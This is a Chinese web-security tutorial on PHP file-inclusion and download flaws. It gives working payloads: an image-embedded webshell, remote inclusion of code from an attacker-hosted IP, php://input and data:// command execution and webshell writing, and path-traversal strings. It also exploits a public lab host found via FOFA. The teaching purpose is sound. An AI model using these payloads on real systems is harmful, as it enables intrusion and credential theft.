文件包含 & 下载读取漏洞
文件包含 & 下载读取漏洞 — 借力打力,空手套白狼
前面的文件上传漏洞,你还要费心把木马传上去。但文件包含漏洞更省事——网站本身就有include(),你只需要告诉它去包含一个恶意文件就行。配合伪协议,甚至不需要上传任何东西,一段 POST 数据就能直接执行系统命令。最后顺手把文件下载漏洞也收了。
课程概览
1. 上节课回顾:图片木马 & FCKeditor 2. 文件包含概念 3. 本地包含 & 远程包含(无限 / 有限 / 绕过) 4. PHP 伪协议五件套:http / filter / input / file / data 5. 文件下载读取漏洞
一、上节课快速回顾
图片木马制作 — edjpgcom 工具
除了copy /b命令行合成,还有一种更简单的方式——用edjpgcom.exe。
步骤:
- 将要注入恶意代码的图片拖到edjpgcom.exe上
- 在弹窗的输入框中输入一句话木马(如<?php @eval($_POST['cmd']);?>)
- 保存 → 木马已嵌入图片
# 验证图片马是否生效 http://localhost/include/upload.php?filename=file:///E:\AppsGreen\edjpgcom\360.jpg
FCKeditor 漏洞速览
上节课讲过,这里只回顾关键步骤。
# 执行 fck.php 利用脚本 E:\upload-labs-env\PHP> .\php.exe .\fck.php 127.0.0.1:80 /fckeditor/
访问http://localhost/userfiles/image/fuck.php+ POSTcmd=phpinfo()→ 木马生效。
二、文件包含概念
什么是文件包含?
文件包含:将指定的文件当作代码执行。
在真实的开发项目中,文件包含用于复用代码(比如每个页面都 include 一个header.php),省去重复劳动。但攻击者可以让它包含恶意文件。
<?php $filename = $_GET['filename']; include($filename); // 用户传什么就包含什么,毫无过滤! ?>
危害
- ?? 执行恶意代码(配合图片木马)
- ?? 读取敏感文件(配置文件、数据库密码)
- ?? 拿服务器权限(包含远程 Webshell)
如何检测
| 方式 | 方法 |
|---|---|
| 白盒 | 代码审计:搜索include、require、include_once、require_once等函数,看参数是否可控 |
| 黑盒 | 观察 URL 参数中的file=、page=、filename=等,尝试传入已知文件路径 |
三、文件本地包含 & 远程包含
本地包含 vs 远程包含
| 类型 | 说明 | 危害 |
|---|---|---|
| 本地包含 | 只能包含服务器已有的文件 | 需配合文件上传漏洞使用 |
| 远程包含 | 可以包含互联网上任意文件 | 直接加载远程木马,危害更大 |
远程包含需要allow_url_include = On,默认是关闭的,但一旦开启就是灾难。
3.1 本地包含 — 无限制
upload.php(靶场):
<?php $filename = $_GET['filename']; include($filename); // 没有任何限制! ?>
1.txt(被包含的文件):
<?php phpinfo(); ?>
访问:
http://127.0.0.1/include/upload.php?filename=1.txt
1.txt的内容被当作 PHP 执行 → 服务器配置信息全泄露!
3.2 本地包含 — 有限制(固定后缀)
upload2.php:
<?php $filename = $_GET['filename']; include($filename . ".html"); // 强制拼接 .html 后缀! ?>
你能控制$filename,但它会自动在后面加.html。包含1.txt实际变成包含1.txt.html→ 找不到文件!
3.3 有限制的绕过
方法一:00 截断
http://127.0.0.1/include/upload2.php?filename=1.txt%00
拼接结果:1.txt%00.html→%00截断 → 最终包含1.txt?
方法二:长度截断
Windows 文件路径最长 255 个字符,Linux 最长 4096 个字符。用超长路径撑爆限制。
http://127.0.0.1/include/upload2.php?filename=1.txt.....................................................
当文件名超过系统最大长度时,末尾的.html被操作系统自动截断丢弃。
3.4 远程包含 — 无限制
前提条件:allow_url_include = On
在攻击者服务器(192.168.220.137)上放好木马:
http://192.168.220.137/1.txt → <?php phpinfo(); ?>
在受害者服务器上触发:
http://127.0.0.1/include/upload.php?filename=http://192.168.220.137/1.txt
受害者的 PHP 去远程加载攻击者服务器上的1.txt→ 当作 PHP 执行 → 远程木马被执行!
3.5 远程包含 — 有限制(固定后缀 .html)
http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt
实际包含:http://192.168.220.137/1.txt.html→ 文件不存在!
方法一:文件名绕过
既然拼接是.html,我把文件命名为1.txt.html不就行了?
改攻击者服务器上的文件名为1.txt.html,访问时只用1.txt→ 拼接成1.txt.html→ 成功!
方法二:%23(# 号)截断
http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt%23
拼接结果:http://192.168.220.137/1.txt%23.html→%23解码为#→ 服务器访问时#及后面全被忽略 → 实际请求http://192.168.220.137/1.txt?
方法三:? 号截断
http://localhost/include/upload2.php?filename=http://192.168.220.137/1.txt?
拼接结果:http://192.168.220.137/1.txt?.html→?后面变成 URL 参数 → 实际请求http://192.168.220.137/1.txt?
方法四:空格绕过
空格会被自动去除,文件名实际恢复为1.txt。
四、PHP 伪协议 — 文件包含的超级武器
PHP 伪协议让我们不需要上传任何文件,直接在 URL 或 POST Body 中写代码就执行!
支持的伪协议列表
file:// — 访问本地文件系统 http:// — 访问 HTTP(s) 网址 ftp:// — 访问 FTP(s) php:// — 访问输入/输出流(最常用) zlib:// — 压缩流 data:// — 数据流(RFC 2397) glob:// — 查找匹配的文件路径模式 phar:// — PHP 归档 expect:// — 处理交互式流
我们重点讲最常用的五个:http、filter、input、file、data。
4.1 http:// / https:// 协议
用于远程包含,以 HTTP GET 方式只读访问远程文件。
http://localhost/include/upload.php?filename=http://192.168.220.137/1.txt
前面远程包含已经演示过,不赘述。
4.2 php://filter — 读取源码神器
读取文件内容并以指定编码输出,常用于读取 PHP 源码而不被执行。
语法
php://filter/read=convert.base64-encode/resource=文件路径
案例:读取 upload.php 源码
http://localhost/include/upload.php?filename=php://filter/read=convert.base64-encode/resource=upload.php
返回 Base64 编码的 upload.php 源码 → 火狐渗透版浏览器 Base64 解码 → 拿到完整 PHP 代码!
filter 参数速查
| 过滤器类型 | 常用过滤器 | 作用 |
|---|---|---|
| 字符串 | string.rot13 | ROT13 变换 |
| 字符串 | string.toupper | 转大写 |
| 字符串 | string.tolower | 转小写 |
| 字符串 | string.strip_tags | 去除 HTML/PHP 标签 |
| 转换 | convert.base64-encode/decode | Base64 编解码 |
| 压缩 | zlib.deflate/inflate | gzip 压缩/解压 |
4.3 php://input — POST 数据直接当代码执行
将 POST 请求的原始数据(Body)当作 PHP 代码来执行。不需要上传任何文件!
语法
http://127.0.0.1/include/upload.php?filename=php://input [POST Body]: <?php phpinfo(); ?>
案例 1:查看系统版本
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php system('ver') ?>
案例 2:执行 ipconfig
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php system('ipconfig') ?>
案例 3:写入一句话木马
# URL: http://localhost/include/upload.php?filename=php://input # POST Body: <?php ?>'); ?>
执行后在服务器上创建了shell.php,用蚁剑连接:http://localhost/include/shell.php,密码cmd。
更多可以执行的系统命令
<?php system('dir') ?> <?php system('whoami') ?> <?php system('shutdown -s -t 10800') ?> # 3小时后关机(取消: shutdown -a)
4.4 file:// — 读取本地文件
用于访问本地文件系统,需要完整路径。
语法
file:///完整路径
案例:读取 Windows hosts 文件
http://localhost/include/upload.php?filename=file:///C:\Windows\System32\drivers\etc\hosts
直接返回 hosts 文件内容!
4.5 data:// — 数据流即代码
直接在 URL 中传递 PHP 代码并执行,不需要文件、不需要 POST Body。
语法 1:纯文本
http://localhost/include/upload.php?filename=data://text/plain,<?php phpinfo();?>
语法 2:Base64 编码
当代码中有特殊字符(如<>)时,建议 Base64 编码。
# <?php phpinfo();?> → Base64 编码 → PD9waHAgcGhwaW5mbygpOz8+ http://localhost/include/upload.php?filename=data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+%2b
四大核心伪协议对比
| 协议 | 数据来源 | 最常用场景 | 需要上传? |
|---|---|---|---|
| php://filter | 服务器本地文件 | 读取 PHP 源码 | ? |
| php://input | POST Body | 执行任意 PHP 代码 + 写马 | ? |
| file:// | 服务器本地文件 | 读系统配置文件 | ? |
| data:// | URL 参数本身 | 轻量代码执行 | ? |
这四个协议都不需要上传文件,纯靠文件包含漏洞本身就拿下了。
案例:南邮 CTF — filter 读源码
真实 CTF 赛题:https://chinalover.sinaapp.com/web7/
https://chinalover.sinaapp.com/web7/index.php?file=php://filter/read=convert.base64-encode/resource=index.php
返回 Base64 编码的index.php源码 → 解码 → 得到 Flag!
五、文件下载 / 读取漏洞
与文件包含类似,但不执行代码,只下载文件。通过路径遍历读取任意文件。
5.1 远程 Pikachu 靶场
FOFA 搜索
"pikachu" && country="CN" && title="Get the pikachu"
找到真实靶场:http://39.102.211.124:8085/vul/unsafedownload/down_nba.php
正常下载
下载地址:
http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=kb.png
图片实际路径:
http://39.102.211.124:8085/vul/unsafedownload/download/kb.png
5.2 路径遍历 — 下载配置文件
攻击: 利用../路径遍历读取网站配置文件。
http://39.102.211.124:8085/vul/unsafedownload/execdownload.php?filename=../../../inc/config.inc.php
../../../回退到网站根目录 → 进入inc/目录 → 下载config.inc.php→ 数据库密码等敏感信息到手!
路径遍历常用 Payload
../etc/passwd ../../etc/passwd ....//....//etc/passwd ..%252f..%252f..%252fetc/passwd
六、课后作业
复现 filter、input、data 三种伪协议的实战案例。
全技术图谱
文件包含漏洞
├── 本地包含
│ ├── 无限制 → 直接包含
│ ├── 有限制(固定后缀)
│ │ ├── 00 截断
│ │ └── 长度截断(Windows 255 / Linux 4096)
│ └── 配合文件上传 → 包含图片马
├── 远程包含(allow_url_include = On)
│ ├── 无限制 → 直接 http:// 远程加载
│ └── 有限制
│ ├── 文件名绕过(改名匹配后缀)
│ ├── %23(#)截断
│ ├── ? 号截断
│ └── 空格绕过
├── PHP 伪协议(不需要上传任何文件!)
│ ├── php://filter → 读源码(Base64)
│ ├── php://input → POST 即代码 + 写 Webshell
│ ├── file:// → 读本地任意文件
│ ├── data:// → URL 即代码
│ └── http:// → 远程加载
└── 文件下载/读取漏洞
└── ../ 路径遍历 → 读配置文件 / 源码
写在最后: 文件包含是 Web 安全中「四两拨千斤」的典范。不需要上传、不需要注入,一个php://input+ POST Body 就能直接执行系统命令。而文件下载漏洞更简单——几层../就把对方配置文件搬回家了。两个洞的核心都是:路径可控 = 灾难开始。下一课见!
来源:https://blog.csdn.net/2503_94807485/article/details/163528707
本站大部分文章、数据、图片均来自互联网,一切版权均归源网站或源作者所有。
如果侵犯了您的权益请来信告知我们删除。邮箱:1451803763@qq.com